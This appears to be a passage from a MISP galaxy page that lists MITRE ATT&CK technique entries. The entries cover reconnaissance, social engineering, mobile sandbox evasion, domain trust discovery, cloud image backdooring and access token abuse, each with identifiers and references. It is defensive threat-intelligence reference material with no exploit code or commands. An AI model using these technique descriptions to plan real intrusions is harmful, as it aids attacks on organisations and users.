Create implementation plan - T1232
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Implementation plans specify how the goals of the strategic plan will be executed. (Citation: ChinaCollectionPlan) (Citation: OrderOfBattle)
Internal MISP references
UUID b355817c-cf63-43b4-94a4-05e9645fa910 which can be used as unique global reference for Create implementation plan - T1232 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1232 |
| kill_chain | ['pre-attack:priority-definition-planning'] |
Determine operational element - T1242
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
If going from strategic down to tactical or vice versa, an adversary would next consider the operational element. For example, the specific company within an industry or agency within a government. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12R) (Citation: DoD Cyber 2015)
Internal MISP references
UUID c860af4a-376e-46d7-afbf-262c41012227 which can be used as unique global reference for Determine operational element - T1242 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1242 |
| kill_chain | ['pre-attack:target-selection'] |
Identify gap areas - T1225
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Leadership identifies gap areas that generate a compelling need to generate a Key Intelligence Topic (KIT) or Key Intelligence Question (KIQ). (Citation: ODNIIntegration) (Citation: ICD115)
Internal MISP references
UUID d778cb83-2292-4995-b006-d38f52bc1e64 which can be used as unique global reference for Identify gap areas - T1225 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1225 |
| kill_chain | ['pre-attack:priority-definition-planning'] |
Map network topology - T1252
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
A network topology is the arrangement of the various elements of a network (e.g., servers, workstations, printers, routers, firewalls, etc.). Mapping a network allows an adversary to understand how the elements are connected or related. (Citation: man traceroute) (Citation: Shodan Tutorial)
Internal MISP references
UUID cdfdb0cd-a839-403c-9dd6-8a85d8c5c73d which can be used as unique global reference for Map network topology - T1252 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1252 |
| kill_chain | ['pre-attack:technical-information-gathering'] |
Enumerate client configurations - T1262
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Client configurations information such as the operating system and web browser, along with additional information such as version or language, are often transmitted as part of web browsing communications. This can be accomplished in several ways including use of a compromised web site to collect details on visiting computers. (Citation: UnseenWorldOfCookies) (Citation: Panopticlick)
Internal MISP references
UUID 78ae433b-289d-4c8d-b8c1-f8de0b7f9090 which can be used as unique global reference for Enumerate client configurations - T1262 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1262 |
| kill_chain | ['pre-attack:technical-information-gathering'] |
Identify business relationships - T1272
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Business relationship information includes the associates of a target and may be discovered via social media sites such as LinkedIn or public press releases announcing new partnerships between organizations or people (such as key hire announcements in industry articles). This information may be used by an adversary to shape social engineering attempts (exploiting who a target expects to hear from) or to plan for technical actions such as exploiting network trust relationship. (Citation: RSA-APTRecon) (Citation: Scasny2015)
Internal MISP references
UUID 5b6ce031-bb86-407a-9984-2b9700ac4549 which can be used as unique global reference for Identify business relationships - T1272 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1272 |
| kill_chain | ['pre-attack:people-information-gathering'] |
Related clusters
To see the related clusters, click here.
Determine physical locations - T1282
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Physical locality information may be used by an adversary to shape social engineering attempts (language, culture, events, weather, etc.) or to plan for physical actions such as dumpster diving or attempting to access a facility. (Citation: RSA-APTRecon)
Internal MISP references
UUID 2011ffeb-8003-41ef-b962-9d1cbfa35e6d which can be used as unique global reference for Determine physical locations - T1282 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1282 |
| kill_chain | ['pre-attack:organizational-information-gathering'] |
Test signature detection - T1292
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
An adversary can test the detections of malicious emails or files by using publicly available services, such as virus total, to see if their files or emails cause an alert. They can also use similar services that are not openly available and don't publicly publish results or they can test on their own internal infrastructure. (Citation: WiredVirusTotal)
Internal MISP references
UUID 57061a8a-d7c5-42a9-be60-f79526b95bf6 which can be used as unique global reference for Test signature detection - T1292 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1292 |
| kill_chain | ['pre-attack:technical-weakness-identification'] |
Access Contact List - T1432
An adversary could call standard operating system APIs from a malicious application to gather contact list (i.e., address book) data, or with escalated privileges could directly access files containing contact list data.
Internal MISP references
UUID 4e6620ac-c30c-4f6d-918e-fa20cae7c1ce which can be used as unique global reference for Access Contact List - T1432 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1432 |
| kill_chain | ['mobile-attack-Android:collection', 'mobile-attack-iOS:collection'] |
| mitre_platforms | ['Android', 'iOS'] |
Related clusters
To see the related clusters, click here.
Network Service Scanning - T1423
Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation. Methods to acquire this information include port scans and vulnerability scans from the mobile device. This technique may take advantage of the mobile device's access to an internal enterprise network either through local connectivity or through a Virtual Private Network (VPN).
Internal MISP references
UUID 2de38279-043e-47e8-aaad-1b07af6d0790 which can be used as unique global reference for Network Service Scanning - T1423 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1423 |
| kill_chain | ['mobile-attack-Android:discovery', 'mobile-attack-iOS:discovery'] |
| mitre_platforms | ['Android', 'iOS'] |
Archive Collected Data - T1532
Adversaries may compress and/or encrypt data that is collected prior to exfiltration. Compressing data can help to obfuscate its contents and minimize use of network resources. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Both compression and encryption are done prior to exfiltration, and can be performed using a utility, programming library, or custom algorithm.
Internal MISP references
UUID e3b936a4-6321-4172-9114-038a866362ec which can be used as unique global reference for Archive Collected Data - T1532 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1532 |
| kill_chain | ['mobile-attack-Android:collection', 'mobile-attack-iOS:collection'] |
| mitre_platforms | ['Android', 'iOS'] |
Evade Analysis Environment - T1523
Malicious applications may attempt to detect their operating environment prior to fully executing their payloads. These checks are often used to ensure the application is not running within an analysis environment such as a sandbox used for application vetting, security research, or reverse engineering.
Adversaries may use many different checks such as physical sensors, location, and system properties to fingerprint emulators and sandbox environments.(Citation: Talos Gustuff Apr 2019)(Citation: ThreatFabric Cerberus)(Citation: Xiao-ZergHelper)(Citation: Cyberscoop Evade Analysis January 2019) Adversaries may access android.os.SystemProperties via Java reflection to obtain specific system information.(Citation: Github Anti-emulator) Standard values such as phone number, IMEI, IMSI, device IDs, and device drivers may be checked against default signatures of common sandboxes.(Citation: Sophos Anti-emulation)
Internal MISP references
UUID 786f488c-cb1f-4602-89c5-86d982ee326b which can be used as unique global reference for Evade Analysis Environment - T1523 in MISP communities and other software using the MISP galaxy
External references
- http://researchcenter.paloaltonetworks.com/2016/02/pirated-ios-app-stores-client-successfully-evaded-apple-ios-code-review/ - webarchive
- https://attack.mitre.org/techniques/T1523 - webarchive
- https://blog.talosintelligence.com/2019/04/gustuff-targets-australia.html - webarchive
- https://github.com/strazzere/anti-emulator - webarchive
- https://news.sophos.com/en-us/2017/04/13/android-malware-anti-emulation-techniques/ - webarchive
- https://www.cyberscoop.com/android-malware-motion-detection-trend-micro/ - webarchive
- https://www.threatfabric.com/blogs/cerberus-a-new-banking-trojan-from-the-underworld.html - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1523 |
| kill_chain | ['mobile-attack-Android:defense-evasion', 'mobile-attack-iOS:defense-evasion', 'mobile-attack-Android:discovery', 'mobile-attack-iOS:discovery'] |
| mitre_platforms | ['Android', 'iOS'] |
Related clusters
To see the related clusters, click here.
Conduct passive scanning - T1253
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Passive scanning is the act of looking at existing network traffic in order to identify information about the communications system. (Citation: SurveyDetectionStrategies) (Citation: CyberReconPaper)
Internal MISP references
UUID a7c620e5-cbc9-41b2-9695-418ef560f16c which can be used as unique global reference for Conduct passive scanning - T1253 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1253 |
| kill_chain | ['pre-attack:technical-information-gathering'] |
Fast Flux DNS - T1325
This technique has been deprecated. Please use Fast Flux DNS.
A technique in which a fully qualified domain name has multiple IP addresses assigned to it which are swapped with extreme frequency, using a combination of round robin IP address and short Time-To-Live (TTL) for a DNS resource record. (Citation: HoneynetFastFlux) (Citation: MisnomerFastFlux) (Citation: MehtaFastFluxPt1) (Citation: MehtaFastFluxPt2)
Internal MISP references
UUID 248cbfdd-fec4-451b-b2a9-e46d4b268e30 which can be used as unique global reference for Fast Flux DNS - T1325 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1325 |
| kill_chain | ['pre-attack:adversary-opsec'] |
Subvert Trust Controls - T1632
Adversaries may undermine security controls that will either warn users of untrusted activity or prevent execution of untrusted applications. Operating systems and security products may contain mechanisms to identify programs or websites as possessing some level of trust. Examples of such features include: an app being allowed to run because it is signed by a valid code signing certificate; an OS prompt alerting the user that an app came from an untrusted source; or getting an indication that you are about to connect to an untrusted site. The method adversaries use will depend on the specific mechanism they seek to subvert.
Internal MISP references
UUID 79cb02f4-ac4e-4335-8b51-425c9573cce1 which can be used as unique global reference for Subvert Trust Controls - T1632 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1632 |
| kill_chain | ['mobile-attack-Android:defense-evasion', 'mobile-attack-iOS:defense-evasion'] |
| mitre_platforms | ['Android', 'iOS'] |
Domain registration hijacking - T1326
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Domain Registration Hijacking is the act of changing the registration of a domain name without the permission of the original registrant. (Citation: ICANNDomainNameHijacking)
Internal MISP references
UUID aadaee0d-794c-4642-8293-7ec22a99fb1a which can be used as unique global reference for Domain registration hijacking - T1326 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1326 |
| kill_chain | ['pre-attack:establish-&-maintain-infrastructure'] |
Mine social media - T1273
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
An adversary may research available open source information about a target commonly found on social media sites such as Facebook, Instagram, or Pinterest. Social media is public by design and provides insight into the interests and potentially inherent weaknesses of a target for exploitation by the adversary. (Citation: RSA-APTRecon)
Internal MISP references
UUID 695b1cce-57d7-49ae-a2af-820d50153f12 which can be used as unique global reference for Mine social media - T1273 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1273 |
| kill_chain | ['pre-attack:people-information-gathering'] |
Buy domain name - T1328
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Domain Names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free. (Citation: PWCSofacy2014)
Internal MISP references
UUID 45242287-2964-4a3e-9373-159fad4d8195 which can be used as unique global reference for Buy domain name - T1328 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1328 |
| kill_chain | ['pre-attack:establish-&-maintain-infrastructure'] |
Identify business relationships - T1283
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Business relationship information may be used by an adversary to shape social engineering attempts (exploiting who a target expects to hear from) or to plan for technical actions such as exploiting network trust relationship. (Citation: 11StepsAttackers)
Internal MISP references
UUID 73e7d7d5-1782-4cd0-a4d7-00c7ec051c2a which can be used as unique global reference for Identify business relationships - T1283 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1283 |
| kill_chain | ['pre-attack:organizational-information-gathering'] |
Related clusters
To see the related clusters, click here.
Fake Developer Accounts - T1442
An adversary could use fake identities, payment cards, etc., to create developer accounts to publish malicious applications to app stores. For example, Oberheide and Miller describe use of this technique in (Citation: Oberheide-Bouncer).
Platforms: Android, iOS
Internal MISP references
UUID e30cc912-7ea1-4683-9219-543b86cbdec9 which can be used as unique global reference for Fake Developer Accounts - T1442 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1442 |
Related clusters
To see the related clusters, click here.
Conduct active scanning - T1254
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Active scanning is the act of sending transmissions to end nodes, and analyzing the responses, in order to identify information about the communications system. (Citation: RSA-APTRecon)
Internal MISP references
UUID 7f2d3da6-7e34-44a3-9e7f-905455339726 which can be used as unique global reference for Conduct active scanning - T1254 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1254 |
| kill_chain | ['pre-attack:technical-information-gathering'] |
System Information Discovery - T1426
Adversaries may attempt to get detailed information about a device’s operating system and hardware, including versions, patches, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not to fully infects the target and/or attempts specific actions.
On Android, much of this information is programmatically accessible to applications through the android.os.Build class. (Citation: Android-Build) iOS is much more restrictive with what information is visible to applications. Typically, applications will only be able to query the device model and which version of iOS it is running.
Internal MISP references
UUID e2ea7f6b-8d4f-49c3-819d-660530d12b77 which can be used as unique global reference for System Information Discovery - T1426 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1426 |
| kill_chain | ['mobile-attack-Android:discovery', 'mobile-attack-iOS:discovery'] |
| mitre_platforms | ['Android', 'iOS'] |
Event Triggered Execution - T1624
Adversaries may establish persistence using system mechanisms that trigger execution based on specific events. Mobile operating systems have means to subscribe to events such as receiving an SMS message, device boot completion, or other device activities.
Adversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via automatically and repeatedly executing malicious code. After gaining access to a victim’s system, adversaries may create or modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.
Internal MISP references
UUID d446b9f0-06a9-4a8d-97ee-298cfee84f14 which can be used as unique global reference for Event Triggered Execution - T1624 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1624 |
| kill_chain | ['mobile-attack-Android:persistence'] |
| mitre_platforms | ['Android'] |
Identify supply chains - T1246
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Supply chains include the people, processes, and technologies used to move a product or service from a supplier to a consumer. Understanding supply chains may provide an adversary with opportunities to exploit the technology or interconnections that are part of the supply chain. (Citation: SmithSupplyChain) (Citation: CERT-UKSupplyChain) (Citation: RSA-supply-chain)
Internal MISP references
UUID 78e41091-d10d-4001-b202-89612892b6ff which can be used as unique global reference for Identify supply chains - T1246 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1246 |
| kill_chain | ['pre-attack:technical-information-gathering'] |
Related clusters
To see the related clusters, click here.
Domain Trust Discovery - T1482
Adversaries may attempt to gather information on domain trust relationships that may be used to identify lateral movement opportunities in Windows multi-domain/forest environments. Domain trusts provide a mechanism for a domain to allow access to resources based on the authentication procedures of another domain.(Citation: Microsoft Trusts) Domain trusts allow the users of the trusted domain to access resources in the trusting domain. The information discovered may help the adversary conduct SID-History Injection, Pass the Ticket, and Kerberoasting.(Citation: AdSecurity Forging Trust Tickets)(Citation: Harmj0y Domain Trusts) Domain trusts can be enumerated using the DSEnumerateDomainTrusts() Win32 API call, .NET methods, and LDAP.(Citation: Harmj0y Domain Trusts) The Windows utility Nltest is known to be used by adversaries to enumerate domain trusts.(Citation: Microsoft Operation Wilysupply)
Internal MISP references
UUID 767dbf9e-df3f-45cb-8998-4903ab5f80c0 which can be used as unique global reference for Domain Trust Discovery - T1482 in MISP communities and other software using the MISP galaxy
External references
- https://adsecurity.org/?p=1588 - webarchive
- https://attack.mitre.org/techniques/T1482 - webarchive
- https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectory.domain.getalltrustrelationships?redirectedfrom=MSDN&view=netframework-4.7.2#System_DirectoryServices_ActiveDirectory_Domain_GetAllTrustRelationships - webarchive
- https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc759554(v=ws.10) - webarchive
- https://posts.specterops.io/a-guide-to-attacking-domain-trusts-971e52cb2944 - webarchive
- https://www.microsoft.com/security/blog/2017/05/04/windows-defender-atp-thwarts-operation-wilysupply-software-supply-chain-cyberattack/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1482 |
| kill_chain | ['attack-Windows:discovery'] |
| mitre_data_sources | ['Command: Command Execution', 'Network Traffic: Network Traffic Content', 'Process: OS API Execution', 'Process: Process Creation', 'Script: Script Execution'] |
| mitre_platforms | ['Windows'] |
Conduct social engineering - T1249
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action. (Citation: SEAttackVectors) (Citation: BeachSE2003)
Internal MISP references
UUID 74a3288e-eee9-4f8e-973a-fbc128e033f1 which can be used as unique global reference for Conduct social engineering - T1249 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1249 |
| kill_chain | ['pre-attack:technical-information-gathering'] |
Related clusters
To see the related clusters, click here.
Stored Data Manipulation - T1492
Adversaries may insert, delete, or manipulate data at rest in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making.
Stored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.
Internal MISP references
UUID 0bf78622-e8d2-41da-a857-731472d61a92 which can be used as unique global reference for Stored Data Manipulation - T1492 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1492 |
| kill_chain | ['attack-Linux:impact', 'attack-macOS:impact', 'attack-Windows:impact'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Implant Internal Image - T1525
Adversaries may implant cloud or container images with malicious code to establish persistence after gaining access to an environment. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be implanted or backdoored. Unlike Upload Malware, this technique focuses on adversaries implanting an image in a registry within a victim’s environment. Depending on how the infrastructure is provisioned, this could provide persistent access if the infrastructure provisioning tool is instructed to always use the latest image.(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019)
A tool has been developed to facilitate planting backdoors in cloud container images.(Citation: Rhino Labs Cloud Backdoor September 2019) If an adversary has access to a compromised AWS instance, and permissions to list the available container images, they may implant a backdoor such as a Web Shell.(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019)
Internal MISP references
UUID 4fd8a28b-4b3a-4cd6-a8cf-85ba5f824a7f which can be used as unique global reference for Implant Internal Image - T1525 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1525 |
| kill_chain | ['attack-IaaS:persistence', 'attack-Containers:persistence'] |
| mitre_data_sources | ['Image: Image Creation', 'Image: Image Metadata', 'Image: Image Modification'] |
| mitre_platforms | ['IaaS', 'Containers'] |
Cloud Service Discovery - T1526
An adversary may attempt to enumerate the cloud services running on a system after gaining access. These methods can differ from platform-as-a-service (PaaS), to infrastructure-as-a-service (IaaS), or software-as-a-service (SaaS). Many services exist throughout the various cloud providers and can include Continuous Integration and Continuous Delivery (CI/CD), Lambda Functions, Azure AD, etc. They may also include security services, such as AWS GuardDuty and Microsoft Defender for Cloud, and logging services, such as AWS CloudTrail and Google Cloud Audit Logs.
Adversaries may attempt to discover information about the services enabled throughout the environment. Azure tools and APIs, such as the Azure AD Graph API and Azure Resource Manager API, can enumerate resources and services, including applications, management groups, resources and policy definitions, and their relationships that are accessible by an identity.(Citation: Azure - Resource Manager API)(Citation: Azure AD Graph API)
For example, Stormspotter is an open source tool for enumerating and constructing a graph for Azure resources and services, and Pacu is an open source AWS exploitation framework that supports several methods for discovering cloud services.(Citation: Azure - Stormspotter)(Citation: GitHub Pacu)
Adversaries may use the information gained to shape follow-on behaviors, such as targeting data or credentials from enumerated services or evading identified defenses through Disable or Modify Tools or Disable or Modify Cloud Logs.
Internal MISP references
UUID e24fcba8-2557-4442-a139-1ee2f2e784db which can be used as unique global reference for Cloud Service Discovery - T1526 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1526 - webarchive
- https://docs.microsoft.com/en-us/previous-versions/azure/ad/graph/howto/azure-ad-graph-api-operations-overview - webarchive
- https://docs.microsoft.com/en-us/rest/api/resources/ - webarchive
- https://github.com/Azure/Stormspotter - webarchive
- https://github.com/RhinoSecurityLabs/pacu - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1526 |
| kill_chain | ['attack-Azure-AD:discovery', 'attack-Office-365:discovery', 'attack-SaaS:discovery', 'attack-IaaS:discovery', 'attack-Google-Workspace:discovery'] |
| mitre_data_sources | ['Cloud Service: Cloud Service Enumeration'] |
| mitre_platforms | ['Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Google Workspace'] |
Device Driver Discovery - T1652
Adversaries may attempt to enumerate local device drivers on a victim host. Information about device drivers may highlight various insights that shape follow-on behaviors, such as the function/purpose of the host, present security tools (i.e. Security Software Discovery) or other defenses (e.g., Virtualization/Sandbox Evasion), as well as potential exploitable vulnerabilities (e.g., Exploitation for Privilege Escalation).
Many OS utilities may provide information about local device drivers, such as driverquery.exe and the EnumDeviceDrivers() API function on Windows.(Citation: Microsoft Driverquery)(Citation: Microsoft EnumDeviceDrivers) Information about device drivers (as well as associated services, i.e., System Service Discovery) may also be available in the Registry.(Citation: Microsoft Registry Drivers)
On Linux/macOS, device drivers (in the form of kernel modules) may be visible within /dev or using utilities such as lsmod and modinfo.(Citation: Linux Kernel Programming)(Citation: lsmod man)(Citation: modinfo man)
Internal MISP references
UUID 215d9700-5881-48b8-8265-6449dbb7195d which can be used as unique global reference for Device Driver Discovery - T1652 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1652 - webarchive
- https://learn.microsoft.com/windows-hardware/drivers/install/overview-of-registry-trees-and-keys - webarchive
- https://learn.microsoft.com/windows-server/administration/windows-commands/driverquery - webarchive
- https://learn.microsoft.com/windows/win32/api/psapi/nf-psapi-enumdevicedrivers - webarchive
- https://linux.die.net/man/8/modinfo - webarchive
- https://man7.org/linux/man-pages/man8/lsmod.8.html - webarchive
- https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1652 |
| kill_chain | ['attack-Linux:discovery', 'attack-macOS:discovery', 'attack-Windows:discovery'] |
| mitre_data_sources | ['Command: Command Execution', 'Process: OS API Execution', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Access'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Hijack Execution Flow - T1625
Adversaries may execute their own malicious payloads by hijacking the way operating systems run applications. Hijacking execution flow can be for the purposes of persistence since this hijacked execution may reoccur over time.
There are many ways an adversary may hijack the flow of execution. A primary way is by manipulating how the operating system locates programs to be executed. How the operating system locates libraries to be used by a program can also be intercepted. Locations where the operating system looks for programs or resources, such as file directories, could also be poisoned to include malicious payloads.
Internal MISP references
UUID 670a4d75-103b-4b14-8a9e-4652fa795edd which can be used as unique global reference for Hijack Execution Flow - T1625 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1625 |
| kill_chain | ['mobile-attack-Android:persistence'] |
| mitre_platforms | ['Android'] |
Identify supply chains - T1265
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Supply chains include the people, processes, and technologies used to move a product or service from a supplier to a consumer. Understanding supply chains may provide an adversary with opportunities to exploit the people, their positions, and relationships, that are part of the supply chain. (Citation: SmithSupplyChain) (Citation: CERT-UKSupplyChain)
Internal MISP references
UUID 59369f72-3005-4e54-9095-3d00efcece73 which can be used as unique global reference for Identify supply chains - T1265 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1265 |
| kill_chain | ['pre-attack:people-information-gathering'] |
Related clusters
To see the related clusters, click here.
Application Access Token - T1527
Adversaries may use application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users and used in lieu of login credentials.
Application access tokens are used to make authorized API requests on behalf of a user and are commonly used as a way to access resources in cloud-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta)
For example, with a cloud-based email service once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a "refresh" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)
Compromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim’s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. Access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.
Internal MISP references
UUID 27960489-4e7f-461d-a62a-f5c0cb521e4a which can be used as unique global reference for Application Access Token - T1527 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1527 - webarchive
- https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/ - webarchive
- https://developer.okta.com/blog/2018/06/20/what-happens-if-your-jwt-is-stolen - webarchive
- https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens - webarchive
- https://staaldraad.github.io/2017/08/02/o356-phishing-with-oauth/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1527 |
| kill_chain | ['attack-SaaS:defense-evasion', 'attack-Office-365:defense-evasion', 'attack-SaaS:lateral-movement', 'attack-Office-365:lateral-movement'] |
| mitre_platforms | ['SaaS', 'Office 365'] |
Related clusters
To see the related clusters, click here.
Determine firmware version - T1258
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Firmware is permanent software programmed into the read-only memory of a device. As with other types of software, firmware may be updated over time and have multiple versions. (Citation: Abdelnur Advanced Fingerprinting)
Internal MISP references
UUID 6baf6388-d49f-4804-86a4-5837240555cd which can be used as unique global reference for Determine firmware version - T1258 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1258 |
| kill_chain | ['pre-attack:technical-information-gathering'] |
Identify supply chains - T1276
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Supply chains include the people, processes, and technologies used to move a product or service from a supplier to a consumer. Understanding supply chains may provide an adversary with opportunities to exploit organizational relationships. (Citation: SmithSupplyChain) (Citation: CERT-UKSupplyChain)
Internal MISP references
UUID 7860e21e-7514-4a3f-8a9d-56405ccfdb0c which can be used as unique global reference for Identify supply chains - T1276 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1276 |
| kill_chain | ['pre-attack:organizational-information-gathering'] |
Related clusters
To see the related clusters, click here.
Conduct social engineering - T1268
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action. (Citation: SEAttackVectors) (Citation: BeachSE2003)
Internal MISP references
UUID af358cad-eb71-4e91-a752-236edc237dae which can be used as unique global reference for Conduct social engineering - T1268 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1268 |
| kill_chain | ['pre-attack:people-information-gathering'] |
Related clusters
To see the related clusters, click here.
Assess targeting options - T1296
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
An adversary may assess a target's operational security (OPSEC) practices in order to identify targeting options. A target may share different information in different settings or be more of less cautious in different environments. (Citation: Scasny2015) (Citation: EverstineAirStrikes)
Internal MISP references
